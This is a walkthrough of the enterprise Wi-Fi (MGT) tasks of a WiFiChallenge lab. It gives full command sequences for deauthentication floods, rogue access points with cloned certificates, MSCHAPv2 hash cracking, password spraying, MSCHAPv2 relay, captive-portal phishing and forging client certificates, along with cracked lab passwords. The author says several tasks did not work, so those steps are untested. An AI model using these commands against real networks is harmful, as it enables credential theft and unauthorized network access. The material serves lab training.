> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/wifi-challenge-labs/wifi-challenge-labs-complete-walkthrough/mgt.md).

# MGT

Task 21, 22 ,25, and 26 did not work for me

### 18. What is juan’s wifi-corp password?  <a href="#id-18-what-is-juans-wifi-corp-password" id="id-18-what-is-juans-wifi-corp-password"></a>

To attack a mistrusted client on an MGT network we have to create a RogueAP with the same ESSID and configuration but with a self-signed certificate, preferably with the same data as the real one in case the client manually verifies the certificate.&#x20;

#### Phase 1: Reconnaissance & Capturing the Handshake

Before we can automate the attack, we must manually gather the target's network details and intercept their digital certificate.

* Enable Monitor Mode: Put your wireless interface into monitor mode to sniff traffic.&#x20;

```
airmon-ng start wlan0
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2Fu5MAG8ENILagu9A6Uwcn%2Fimage.png?alt=media&amp;token=20d2f301-ce85-4dfe-b3a5-459e4c61e93e" alt=""><figcaption></figcaption></figure>

* Locate the Target: Scan the airwaves to identify the target Enterprise network's BSSID, channel, and ESSID.&#x20;

```
airodump-ng --band abg wlan0mon
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FWhKOtbjsafGmWb6ZABwx%2Fimage.png?alt=media&amp;token=a19d2473-e591-4e78-9ca0-44dab9e5bebb" alt=""><figcaption></figcaption></figure>

* Start the Capture: Lock `airodump-ng` to the target's specific channel and BSSID to save all traffic to a `.pcap` file.&#x20;

```
airodump-ng -c 44 --bssid [Target MAC] wlan0mon -w peap_recon --output-format pcap
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FvFDw1WYMHzTK0LzpFjYw%2Fimage.png?alt=media&amp;token=93b77b3f-57a7-41aa-8644-6e551110897d" alt=""><figcaption></figcaption></figure>

* Force an Authentication: Send a brief deauthentication attack to kick a connected client off the network. When they automatically reconnect, your `airodump-ng` capture will grab the EAP/TLS handshake containing the server's certificate.&#x20;

```
aireplay-ng -0 10 -a [Target MAC] wlan0mon
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FH28Oot59NuiX8lXmey90%2Fimage.png?alt=media&amp;token=5472915e-72d2-4017-a32f-80447f730b26" alt=""><figcaption></figcaption></figure>

#### Phase 2: Extracting the Certificate Details

With the handshake captured, we extract the organization's legitimate certificate data so we can perfectly clone it.

* Extract with Tshark: Run `tshark` against your capture file to pull the issuer details.&#x20;

```
tshark -r peap_recon-01.cap -Y "wlan.bssid == 02:00:00:00:04:00 && eap && tls.handshake.certificate" -V
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F5LXN0NsnG9zKBrph53mo%2Fimage.png?alt=media&amp;token=f45333cd-0b34-4a38-a272-a59b3de81e25" alt=""><figcaption></figcaption></figure>

* Record the Data: Look through the output and copy down the Country (`ES`), State (`Madrid`), Locality (`Madrid`), Organization (`WiFiChallenge`), and Email address (`server@WiFiChallenge.com`).

```
countryName = ES
stateOrProvinceName = Madrid
localityName = Madrid
organizationName = WiFiChallenge
emailAddress = server@WiFiChallenge.com
commonName = "WiFiChallenge Server"
```

#### Phase 3: Automated Rogue AP Setup (`eaphammer`)

Now we move to automation. We use `eaphammer` to handle the complex FreeRADIUS configurations and certificate signing.

To do this you can use “eaphammer”.

```bash
eaphammer --cert-wizard
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FJZeYVL3Z4PWBvM2VWYb4%2Fimage.png?alt=media&amp;token=a6de8e7c-bc3f-496e-a73a-df99b7a18a1f" alt=""><figcaption></figcaption></figure>

```bash
eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FR3YQ0w2dV3OpesdpVYxl%2Fimage.png?alt=media&amp;token=a112b80d-4515-47a8-ba84-bb2edebcc07e" alt=""><figcaption></figcaption></figure>

With “airodump-ng” we detect the MAC of the clients to perform a deauthentication attack. So we do this attack on both clients in parallel. As there are 2 APs we have to perform the attack against the 2 APs, since disconnecting from 1 may connect to the other instead of to our RogueAP.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F9ij3XP0sQrdQCFYdRGjl%2Fimage.png?alt=media&amp;token=60faa08b-6323-47bd-8c23-a4e28f034bc5" alt=""><figcaption></figcaption></figure>

```bash
iwconfig wlan0mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:41
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FRUwMrApoMs7BeJfn46fm%2Fimage.png?alt=media&amp;token=111d84ee-407a-4c66-96d9-1a0e40dee424" alt=""><figcaption></figcaption></figure>

In parallel:

```bash
airmon-ng start wlan1
iwconfig wlan1mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:BA:6C:41
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FqUMbPRaGvSJsYug64RQe%2Fimage.png?alt=media&amp;token=8de33d3d-0ac6-4191-bed8-cb8240bcf6eb" alt=""><figcaption></figcaption></figure>

In this case with the MAC 10:F9:6F:BA:6C:41 we can see that it connects to us, but it gives a “alert unknown ca” error, so we perform the same attack against the other client.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FqdczKwhVxFq0m1XSwsni%2Fimage.png?alt=media&amp;token=c7ced1d3-7b45-4b45-95d9-3232bf5560c2" alt=""><figcaption></figcaption></figure>

We make the same attack against the MAC 10:F9:6F:07:6C:40

```bash
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:07:6C:40
```

in parallel

<pre class="language-bash"><code class="lang-bash"><strong>aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:07:6C:40
</strong></code></pre>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FLrJKWZsNFzn2q2QjnQUp%2Fimage.png?alt=media&amp;token=5fc997f7-53ff-4f19-9c04-cafeeb7eeb89" alt=""><figcaption></figcaption></figure>

Once connected we get your MSCHAPv2 credentials so we need to crack the hash to get the password in clear text. For this we use “hashcat”.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FOHupLq0tPA1JAxyIl4il%2Fimage.png?alt=media&amp;token=74d0147d-051f-4a83-a36c-98496e120edc" alt=""><figcaption></figcaption></figure>

```bash
hashcat -a 0 -m 5500 hash.txt /usr/share/wordlists/rockyou.txt --force
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FFq7jOcdDQmaFkLmfrTUG%2Fimage.png?alt=media&amp;token=0d493424-8270-469f-bd00-d50ecbdc76ff" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
bulldogs1234
{% endhint %}

### 19. What is CONTOSO\test password in wifi-corp?  <a href="#id-19-what-is-contosotest-password-in-wifi-corp" id="id-19-what-is-contosotest-password-in-wifi-corp"></a>

For this challenge we know the user name and perform a brute force attack with rockyou, for this we use “air-hammer”.&#x20;

{% embed url="<https://github.com/ammartiger/Air-Hammer3>" %}

For this it is important to take into account that it is necessary to have the domain. We got the domain in our last task.

We can extract the domain with tshark from a captured file

```
tshark -r peap_recon-02.cap -Y '(eap && wlan.ra == F0:9F:C2:71:22:15) && (eap.identity)' -T fields -e eap.identity
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FR8OrUBMwMSGtgCrjpibC%2Fimage.png?alt=media&amp;token=0af44045-c81e-45d5-93aa-41fa8497250c" alt=""><figcaption></figcaption></figure>

To airhammer to work, you need to install the tool first.

```
git clone https://github.com/ammartiger/Air-Hammer3  
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F4A1XDiwflcmtp5DlhpsN%2Fimage.png?alt=media&amp;token=348306de-f9f9-45d4-9ef1-bcac9802199e" alt=""><figcaption></figcaption></figure>

Activate the virtual environment as there are some dependencies in the folder.

<pre><code>python3 -m venv venv
<strong>source venv/bin/activate
</strong></code></pre>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FLGGI8B5KmoV6ni9UPX5g%2Fimage.png?alt=media&amp;token=07000290-6d48-481b-bb90-6bf0647ae466" alt=""><figcaption></figcaption></figure>

Now install the dependencies

```
pip install -r requirements.txt
```

Now save the target user in a separate file

```
echo 'CONTOSO\\test' > test.user
```

Now brute force it.

```bash
python3 Air-Hammer3.py -i wlan4 -e wifi-corp -p ~/rockyou-top100000.txt -u test.user -1
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FyQorWcJecJxNuKw6iP8c%2Fimage.png?alt=media&amp;token=da617a1e-d353-4a1e-ac18-580b9cb41027" alt=""><figcaption></figcaption></figure>

After a few minutes:

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FfAnSenY4MNf7Yehu6cbD%2Fimage.png?alt=media&amp;token=4d2ef934-56ce-4d03-9f88-1d51c40f1432" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
CONTOSO\test:monkey
{% endhint %}

### 20. Which is the user (with domain) with password 12345678 in wifi-corp?  <a href="#id-20-which-is-the-user-with-domain-with-password-12345678-in-wifi-corp" id="id-20-which-is-the-user-with-domain-with-password-12345678-in-wifi-corp"></a>

This challenge is very similar to the previous one, but instead of performing a brute force attack, as we know the password we do a password spray, but for this we have to add the domain to the user list to make it the valid login.

```bash
cat ~/top-usernames-shortlist.txt | awk '{print "CONTOSO\\" $1}' > ~/top-usernames-shortlist-contoso.txt
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F7MxiVwYrmRjGJay2X9QP%2Fimage.png?alt=media&amp;token=14911dc2-26f6-4550-b98f-df8b7db6a398" alt=""><figcaption></figcaption></figure>

To airhammer to work, you need to activate the virtual environment as there are some dependencies in the folder.

```
source venv/bin/activate
```

```bash
python3 Air-Hammer2.py -i wlan4 -e wifi-corp -P 12345678 -u ~/top-usernames-shortlist-contoso.txt
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FYJ5s3dDofKHWr8At6f1N%2Fimage.png?alt=media&amp;token=8e4c53d6-954d-44a2-9d1b-470b26e171f0" alt=""><figcaption></figcaption></figure>

After a few minutes:

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FzerHKh1TXOjbmbGzPeqj%2Fimage.png?alt=media&amp;token=abe62549-7a16-455f-82a8-66aa0ab68cdb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
CONTOSO\ftp:12345678
{% endhint %}

### <mark style="color:red;">21. What is the flag on the wifi-regional-tablets AP?</mark>  <a href="#id-21-what-is-the-flag-on-the-wifi-regional-tablets-ap" id="id-21-what-is-the-flag-on-the-wifi-regional-tablets-ap"></a>

To perform this challenge we have to do a relay attack. MSCHAPv2 works the same as NetNTLM, so we can reuse the challenge from the AP by forwarding it to the legitimate client and reuse its response to access the real AP. For this we will use “wpa\_sycophant”.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F41LOsmTE2HQ7ksm16n0n%2Fimage.png?alt=media&amp;token=a38ba953-8c13-44f9-9b98-0eafcf910496" alt=""><figcaption></figcaption></figure>

First we configure the name of the AP we want to connect to in “wpa\_sycophant” and we add the MAC of the fake AP we are going to lift, so if we are going to lift it with wlan1 we put the mac of that interface in “bssid\_blacklist”. But first we set the MAC for the BSSID AP.

```bash
ip link set wlan1 down
macchanger -m F0:9F:C2:00:00:00 wlan1
ip link set wlan1 up
```

```
sudo nano /etc/wpa-sycophant/wpa_sycophant_example.conf
```

```bash
network={
  ssid="wifi-regional-tablets"
  ## The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  ## Do not modify
  identity=""
  anonymous_identity=""
  password=""
  ## This initialises the variables for me.
  ## -------------
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  ## Dont want to connect back to ourselves,
  ## so add your rogue BSSID here.
  bssid_blacklist=F0:9F:C2:00:00:00
}
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2Fzd6rAtleSq8kKRjTRqrq%2Fimage.png?alt=media&amp;token=fa36d1e1-5de8-4c94-9792-7114bbd31773" alt=""><figcaption></figcaption></figure>

To raise the RogueAP connected to “wpa\_sycophant” we use “berate\_ap”, very similar to “eaphammer” in the previous sections.

```bash
#Shell 1
berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets
```

<mark style="color:red;">**I am getting the error, so stuck here.**</mark>

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/1pExeFzEVm2TGv8YM59QIw.png#center)

We make a deauthentication attack on customers as usual. In this case 1 client uses MFT (802.11w) so it is not vulnerable to this attack, but the other client (64:32:A8:A9:DE:55) is.

```bash
# Shell 2
airmon-ng start wlan0
iwconfig wlan0mon channel 44
aireplay-ng -0 0 wlan0mon -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55
```

Once we have the AP and we start the brute force we run “wpa\_sycophant” and wait for the client to connect to “berate\_ap” and “wpa\_sycophant” can reuse the information to connect to the real AP.

```bash
# Shell 3
cd ~/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3
```

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/7kK0F1flEMAlrpgSHCREOw.png#center)

When the client connects to the RogueAP wpa\_sycophant connects to the real AP.

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/uBemCBjf1u9TymahtVQ4dw.png#center)

In case wpa\_sycophant fails, try editing the “wpa\_sycophant\_example.conf” file by changing phase1:

```bash
phase1="peapver=1"
```

Once connected we can obtain IP by DHCP to access the web server.

```bash
# Shell 4
dhclient wlan3 -v
```

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/xb_evjFHr01by8-xFGV5OQ.png#center)

### <mark style="color:red;">22. What is the flag on the wifi-regional AP?</mark>  <a href="#id-22-what-is-the-flag-on-the-wifi-regional-ap" id="id-22-what-is-the-flag-on-the-wifi-regional-ap"></a>

For this challenge we do the same exploit as the previous step, but modifying the pycophant file over the network for corporate computers (no tablets)

```bash
systemctl stop network-manager
airmon-ng stop wlan1mon
ip link set wlan1 down
macchanger -m F0:9F:C2:00:00:00 wlan1
ip link set wlan1 up
```

```bash
echo '
network={
  ssid="wifi-regional"
  ## The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  ## Do not modify
  identity=""
  anonymous_identity=""
  password=""
  ## This initialises the variables for me.
  ## -------------
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  ## Dont want to connect back to ourselves,
  ## so add your rogue BSSID here.
  bssid_blacklist=F0:9F:C2:00:00:00
}
' > ~/tools/wpa_sycophant/wpa_sycophant_example.conf
```

To raise the RogueAP connected to “wpa\_sycophant” we use “berate\_ap”, very similar to “eaphammer” in the previous sections.

```bash
# Shell 1
cd ~/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets
```

We make a deauthentication attack on customers as usual. In this case 1 client uses MFT (802.11w) so it is not vulnerable to this attack, but the other client (64:32:a8:a9:de:55) is.

```bash
# Shell 2
airmon-ng start wlan0
iwconfig wlan0mon channel 44
aireplay-ng -0 0 wlan0mon -a F0:9F:C2:7A:33:28  -c 64:32:a8:a9:de:55
```

Once we have the AP and we start the brute force we run “wpa\_sycophant” and wait for the client to connect to “berate\_ap” and “wpa\_sycophant” can reuse the information to connect to the real AP.

```bash
# Shell 3
cd ~/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3
```

Once connected we can obtain IP by DHCP to access the web server.

```bash
# Shell 4
dhclient wlan3 -v
```

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/zOpry4-QiyMRLDIEMnx7TA.png#center)

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/57xxOptJiXa6UveR6WzURA.png#center)

### 23. What is the password of the user vulnerable to RogueAP of wifi-global?  <a href="#id-23-what-is-the-password-of-the-user-vulnerable-to-rogueap-of-wifi-global" id="id-23-what-is-the-password-of-the-user-vulnerable-to-rogueap-of-wifi-global"></a>

**Phishing+RogueAP (captive-portal)**&#x20;

If we try to perform the same attacks as with the previous networks we can see that it is not possible, since as we have seen in the section on EAP methods, the AP only supports client certificate access.

So we cannot attack this network, but we can attack its clients, because as we can see in the Probes, there is a client of this network that asks for the following networks “open-wifi,home-WiFi,WiFi-Restaurant”.&#x20;

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FRLQSXev1xs44Z2Ee5fb2%2Fimage.png?alt=media&amp;token=99d6395a-3b77-4b8f-acc8-51533e0f54a5" alt=""><figcaption></figcaption></figure>

So we can create an AP with that name, deauthenticate the wifi-global client and perform a phishing attack with a captive portal to obtain its credentials. For this we can use “eaphammer” with “ — captive-portal” and perform the deauthentication attack with “aireplay-ng”.

```bash
sudo killall dnsmasq
sudo eaphammer --essid WiFi-Restaurant --interface wlan4 --captive-portal
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FrLDzTAlWCjWY5ns45NrE%2Fimage.png?alt=media&amp;token=ffdea315-85bf-4f40-b5fe-07e2ff75e70b" alt=""><figcaption></figcaption></figure>

In parallel:

```bash
iwconfig wlan0mon channel 44
aireplay-ng -0 0 wlan0mon -a F0:9F:C2:71:22:17 -c 64:32:A8:BC:53:51
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FU9SVFyvnD37BSYs53Dhf%2Fimage.png?alt=media&amp;token=08511b77-f528-40e7-9092-2c92909bc69e" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
*Caught username: CORPO\god*&#x20;

Caught password: tommy1
{% endhint %}

**Responder+RogueAP (hostile-portal) &#x20;**<mark style="color:red;">**Did not work for me - responder error**</mark>

Another option we have in this section is to perform a hostile portal attack, executing respond once connected to our Rogue AP. Same as before with — hostile-portal

```bash
sudo killall dnsmasq
sudo eaphammer --essid WiFi-Restaurant --interface wlan2 --hostile-portal
```

In parallel:

```bash
iwconfig wlan0mon channel 44
aireplay-ng -0 0 wlan0mon -a F0:9F:C2:71:22:17 -c 64:32:A8:BC:53:51
```

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/6dXeYR_HPBhzQbA7k3guew.png#center)

After we get the hash:

```bash
cat logs/Responder-Session.log  | grep NTLMv2 | grep Hash | awk '{print $9}' > responder.5600

hashcat -a 0 -m 5600 responder.5600 ~/rockyou-top100000.txt  --force
```

### <mark style="color:red;">24. What is the flag after login in wifi-regional when logging in with the credentials obtained in the previous step? (To do)</mark> <a href="#id-24-what-is-the-flag-after-login-in-wifi-regional-when-logging-in-with-the-credentials-obtained-in-th" id="id-24-what-is-the-flag-after-login-in-wifi-regional-when-logging-in-with-the-credentials-obtained-in-th"></a>

Once we have obtained the wifi-global user credentials, we can log back into wifi-regional with the relay and access the web server with those credentials to obtain the flag and CA and certificate information.

Download CA data

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/OXo-DYs_wG2c9etU9bmgSg.png#center)

Download all txt from the website

```bash
wget -A txt -m -p -E -k -K -np  http://192.168.7.1/XXXXXXXX/
```

### <mark style="color:red;">25. What is the password of the wifi-corp Administrator?  (To Do)</mark> <a href="#id-25-what-is-the-password-of-the-wifi-corp-administrator" id="id-25-what-is-the-password-of-the-wifi-corp-administrator"></a>

We have previously detected that there is a wifi-corp client that verifies the certificate of the AP before connecting, so now that we have the CA and the certificate of the real AP we can create a rogueAP and it will connect without problems.

**Using eaphammer**&#x20;

To do this we are going to use eaphammer again, but instead of creating a self-signed certificate, we import the certificate we downloaded. First we rename the files deleting the “.txt”.

<http://192.168.7.1/XXXXXXXX/>

And we import the certificate.

```bash
cd /root/tools/eaphammer
python3 ./eaphammer --cert-wizard import --server-cert /home/user/Downloads/server.crt --ca-cert /home/user/Downloads/ca.crt --private-key /home/user/Downloads/server.key --private-key-passwd whatever
```

We raise the AP and perform the deauth attack against client and the 2 APs.

```bash
python3 ./eaphammer -i wlan4 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced
```

in parallel

```bash
iwconfig wlan0mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:41
```

```bash
airmon-ng start wlan1
iwconfig wlan1mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:BA:6C:41
```

**Using berate\_ap**&#x20;

We can use berate\_ap for this RogueAP too.

Convert the files to PEM and create a DH:

```bash
openssl x509 -in ca.crt -out hostapd.ca.pem -outform PEM
openssl x509 -in server.crt -out hostapd.cert.pem -outform PEM
openssl rsa -in server.key -out hostapd.key.pem
openssl dhparam -out hostapd.dh.pem 2048
```

Now we can create the RogueAP with berate\_ap

```bash
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan4 lo wifi-corp --eap-cert-path /home/user/Downloads/
```

### <mark style="color:red;">26. What is the flag found on the wifi-global AP? (To Do)</mark>  <a href="#id-26-what-is-the-flag-found-on-the-wifi-global-ap" id="id-26-what-is-the-flag-found-on-the-wifi-global-ap"></a>

Once we have the CA we can create a client certificate to access the wifi-global network legitimately, since we have a legitimate user. To do this we generate the certificate with the CA and the downloaded configuration files.

```bash
cd /home/user/Downloads
openssl genrsa -out client.key 2048
openssl req -config client.conf -new -key client.key -out client.csr
openssl x509 -days 730 -extfile client.ext -CA ca.crt -CAkey ca.key -CAserial ca.serial -in client.csr -req -out client.crt
```

Once we have the certificate we can generate a configuration file for “wpa\_supplicant” and then access the web server for the flag.

```bash
echo 'network={
 ssid="wifi-global"
 scan_ssid=1
 mode=0
 proto=RSN
 key_mgmt=WPA-EAP
 auth_alg=OPEN
 eap=TLS
    #anonymous_identity="GLOBAL\anonymous"
 identity="GLOBAL\GlobalAdmin"
 ca_cert="./ca.crt"
 client_cert="./client.crt"
 private_key="./client.key"
 private_key_passwd="whatever" 
}
' > wpa_tls.conf

wpa_supplicant -Dnl80211 -i wlan4 -c wpa_tls.conf
```

And now we are connected to the AP using a certificate.

![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/Challenge25.png#center)
